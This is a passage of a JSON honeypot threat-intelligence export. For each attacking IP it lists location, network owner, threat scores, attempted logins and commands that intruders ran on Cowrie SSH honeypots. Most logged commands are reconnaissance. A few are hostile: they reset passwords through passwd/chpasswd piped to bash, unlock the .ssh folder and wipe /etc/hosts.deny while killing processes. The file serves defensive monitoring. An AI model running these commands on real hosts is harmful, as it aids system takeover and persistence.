        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test\\nasd5fZHa6w5u\\nasd5fZHa6w5u\\n\"|passwd",
        "echo -e \"test\\nasd5fZHa6w5u\\nasd5fZHa6w5u\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campinas",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 168,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T21:51:31.257000+00:00",
        "last_seen_30d": "2026-05-05T23:27:25.405000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 49
      }
    },
    "113.221.98.165": {
      "attack_count": 86,
      "first_seen": "2026-05-21T07:00:26.753Z",
      "last_seen": "2026-05-21T12:08:10.082Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:00:26.753000+00:00",
        "last_seen_30d": "2026-05-21T12:09:11.751000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 86,
        "Suricata": 44
      }
    },
    "36.151.144.184": {
      "attack_count": 83,
      "first_seen": "2026-05-28T22:49:16.996Z",
      "last_seen": "2026-05-28T23:20:13.561Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "myuser"
      ],
      "passwords_attempted": [
        "1",
        "123456789AA",
        "3245gs5662d34",
        "345gs5662d34",
        "admin.123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:FeYhU8KtMYVF\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T22:49:16.996000+00:00",
        "last_seen_30d": "2026-05-28T23:21:22.073000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 83,
        "Suricata": 13
      }
    },
    "34.38.37.55": {
      "attack_count": 74,
      "first_seen": "2026-05-24T04:24:57.035Z",
      "last_seen": "2026-05-24T04:25:40.984Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 1037",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 31.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 142,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-24T04:24:57.035000+00:00",
        "last_seen_30d": "2026-05-24T05:50:17.981000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 74,
        "Suricata": 64,
        "Dionaea": 4
      }
    },
    "35.195.25.119": {
      "attack_count": 72,
      "first_seen": "2026-05-11T09:27:38.684Z",
      "last_seen": "2026-05-11T09:28:28.392Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 7867",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-11T04:55:13+00:00",
        "last_seen_30d": "2026-05-11T09:29:37.883000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 43,
        "Mailoney": 1
      }
    },
    "45.125.61.121": {
      "attack_count": 64,
      "first_seen": "2026-05-22T20:47:53.906Z",
      "last_seen": "2026-05-23T05:18:46.887Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 133275,
      "as_org": "Gigantic Infotel Pvt Ltd",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:47:53.906000+00:00",
        "last_seen_30d": "2026-05-23T05:19:56+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 32
      }
    },
    "164.90.156.35": {
      "attack_count": 48,
      "first_seen": "2026-05-04T20:26:39.778Z",
      "last_seen": "2026-05-31T22:03:12.473Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 52.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T20:26:39.778000+00:00",
        "last_seen_30d": "2026-05-31T22:04:13.889000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "223.123.73.155": {
      "attack_count": 48,
      "first_seen": "2026-05-17T00:56:46.579Z",
      "last_seen": "2026-05-17T01:10:13.125Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 59257,
      "as_org": "CMPak Limited",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T00:56:46.579000+00:00",
        "last_seen_30d": "2026-05-17T01:11:16.916000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "175.107.3.74": {
      "attack_count": 36,
      "first_seen": "2026-05-22T03:50:32.081Z",
      "last_seen": "2026-05-22T03:54:25.575Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T03:50:32.081000+00:00",
        "last_seen_30d": "2026-05-22T03:55:35.627000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 19
      }
    },
    "178.63.85.110": {
      "attack_count": 36,
      "first_seen": "2026-05-03T17:17:55.824Z",
      "last_seen": "2026-05-12T18:58:34.338Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:17:55.824000+00:00",
        "last_seen_30d": "2026-05-12T18:59:39.725000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "217.154.145.209": {
      "attack_count": 30,
      "first_seen": "2026-05-14T02:02:19.744Z",
      "last_seen": "2026-05-18T11:44:35.235Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 18.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T02:02:19.744000+00:00",
        "last_seen_30d": "2026-05-18T11:45:41.400000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 17
      }
    },
    "222.142.210.194": {
      "attack_count": 26,
      "first_seen": "2026-05-16T07:26:10.269Z",
      "last_seen": "2026-05-16T07:28:58.695Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T07:26:10.269000+00:00",
        "last_seen_30d": "2026-05-16T07:30:03.504000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 14
      }
    },
    "65.49.1.80": {
      "attack_count": 22,
      "first_seen": "2026-05-12T16:27:28.743Z",
      "last_seen": "2026-05-28T13:53:08.640Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 392,
        "days_active_30d": 30,
        "ports_targeted_30d": 84,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-02T06:06:11+00:00",
        "last_seen_30d": "2026-05-31T11:13:31.245000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 241,
        "Honeytrap": 93,
        "Cowrie": 22,
        "H0neytr4p": 9,
        "Miniprint": 8,
        "Dionaea": 6,
        "Tanner": 5,
        "ConPot": 4,
        "Ipphoney": 3,
        "ElasticPot": 1
      }
    },
    "36.89.252.58": {
      "attack_count": 21,
      "first_seen": "2026-05-05T15:03:33.791Z",
      "last_seen": "2026-05-31T03:57:00.491Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root",
        "12345",
        "admin",
        "guest"
      ],
      "commands_executed": [
        "/ip cloud print"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.success",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 49.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.2,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T15:03:33.791000+00:00",
        "last_seen_30d": "2026-05-31T03:58:08.327000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 12
      }
    },
    "190.98.253.146": {
      "attack_count": 16,
      "first_seen": "2026-05-12T20:10:47.544Z",
      "last_seen": "2026-05-12T20:22:55.164Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Huechuraba",
      "asn": 14259,
      "as_org": "Gtd Internet S.A.",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T20:10:47.544000+00:00",
        "last_seen_30d": "2026-05-12T20:23:57.080000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "61.28.144.154": {
      "attack_count": 15,
      "first_seen": "2026-05-24T15:24:55.146Z",
      "last_seen": "2026-05-24T15:38:51.470Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "dong"
      ],
      "passwords_attempted": [
        "123456",
        "369369",
        "t"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Makati City",
      "asn": 9658,
      "as_org": "Eastern Telecoms Phils., Inc.",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T15:24:55.146000+00:00",
        "last_seen_30d": "2026-05-24T15:39:58.652000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8
      }
    },
    "157.20.57.99": {
      "attack_count": 12,
      "first_seen": "2026-05-12T01:57:12.746Z",
      "last_seen": "2026-05-12T02:07:34.666Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 138585,
      "as_org": "OffTechIT Bangladesh",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T01:57:12.746000+00:00",
        "last_seen_30d": "2026-05-12T02:18:29.249000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "49.228.240.243": {
      "attack_count": 10,
      "first_seen": "2026-05-17T14:11:48.068Z",
      "last_seen": "2026-05-17T14:16:46.367Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "mc2",
        "root"
      ],
      "passwords_attempted": [
        "!123",
        "mc2"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Chiang Mai",
      "asn": 133481,
      "as_org": "AIS Fibre",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T14:11:48.068000+00:00",
        "last_seen_30d": "2026-05-17T14:17:50.093000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "14.192.132.16": {
      "attack_count": 8,
      "first_seen": "2026-05-16T22:16:18.107Z",
      "last_seen": "2026-05-16T22:17:30.724Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 45814,
      "as_org": "Fariya Networks Pvt. Ltd.",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T22:16:18.107000+00:00",
        "last_seen_30d": "2026-05-16T22:18:37.880000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "66.9.161.92": {
      "attack_count": 8,
      "first_seen": "2026-05-23T22:39:35.449Z",
      "last_seen": "2026-05-23T22:41:38.121Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T22:39:35.449000+00:00",
        "last_seen_30d": "2026-05-23T22:52:36.214000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 8
      }
    },
    "117.89.254.46": {
      "attack_count": 7,
      "first_seen": "2026-05-25T02:53:38.749Z",
      "last_seen": "2026-05-25T02:55:40.770Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 134756,
      "as_org": "CHINANET Nanjing Jishan IDC network",
      "threat_score": 34.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 12.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 15,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-11T22:38:59+00:00",
        "last_seen_30d": "2026-05-25T03:05:46.140000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6,
        "Honeytrap": 1
      }
    },
    "108.181.56.191": {
      "attack_count": 6,
      "first_seen": "2026-05-05T00:51:39.754Z",
      "last_seen": "2026-05-05T00:51:46.623Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:51:39.754000+00:00",
        "last_seen_30d": "2026-05-05T00:52:56.126000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "168.144.19.178": {
      "attack_count": 6,
      "first_seen": "2026-05-17T03:20:22.577Z",
      "last_seen": "2026-05-17T03:20:22.858Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T03:11:36.768000+00:00",
        "last_seen_30d": "2026-05-17T03:21:31.906000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "45.142.154.44": {
      "attack_count": 6,
      "first_seen": "2026-05-17T13:32:22.069Z",
      "last_seen": "2026-05-17T13:32:37.317Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9465,
      "as_org": "AGOTOZ PTE. LTD.",
      "threat_score": 69.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.1,
        "persistence": 23.3,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 28,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T02:19:11+00:00",
        "last_seen_30d": "2026-05-29T17:45:37.827000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Honeytrap": 38,
        "Cowrie": 6
      }
    },
    "88.80.26.3": {
      "attack_count": 5,
